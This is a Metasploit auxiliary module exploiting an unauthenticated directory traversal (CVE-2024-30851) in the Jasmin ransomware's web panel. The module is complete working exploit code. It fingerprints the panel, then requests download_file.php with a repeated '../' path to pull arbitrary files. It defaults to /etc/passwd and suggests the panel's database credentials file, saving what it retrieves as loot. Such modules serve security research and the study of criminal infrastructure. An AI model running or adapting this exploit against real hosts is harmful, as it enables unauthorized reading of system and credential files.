Jasmin Ransomware Web Server Unauthenticated Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jasmin Ransomware Web Server Unauthenticated Directory Traversal',
        'Description' => %q{
          The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability
          within the download functionality. As of April 15, 2024 this was still unpatched, so all
          versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
        },
        'References' => [
          ['CVE', '2024-30851'],
          ['URL', 'https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc'],
          ['URL', 'https://github.com/codesiddhant/Jasmin-Ransomware']
        ],
        'Author' => [
          'chebuya', # discovery, PoC
          'h00die', # metasploit module
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2023-04-08',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The relative URI of the Jasmin Ransomware webserver', '/']),
        OptInt.new('DEPTH', [true, 'Depth of directory traversal to root ', 9]),
        OptString.new('FILE', [true, 'File to retrieve', 'etc/passwd'])
        # /var/www/html/database/db_conection.php another good file to pull
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path)
    )
    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    return Exploit::CheckCode::Detected('Jasmin Login page detected') if res.body.include? '<title>Jasmin Dashboard</title>'

    Exploit::CheckCode::Safe("#{peer} - Jasmin login page not found")
  end

  def run
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'download_file.php'),
      'vars_get' => {
        'file' => "#{'../' * datastore['DEPTH']}#{datastore['FILE']}"
      }
    )
    fail_with(Failure::Unknown, 'No response from server') if res.nil?
    fail_with(Failure::NotFound, 'Check FILE or DEPTH, file not found on server') if res.body.empty?
    fail_with(Failure::UnexpectedReply, "Server returned an unexpected HTTP code: #{res.code}") unless res.code == 302

    print_good(res.body)
    # store loot
    path = store_loot(
      'jasmin.webpanel.dir.traversal',
      'text/plain',
      datastore['rhost'],
      res.body,
      File.basename(datastore['FILE'])
    )
    print_good('Saved file to: ' + path)
  end
end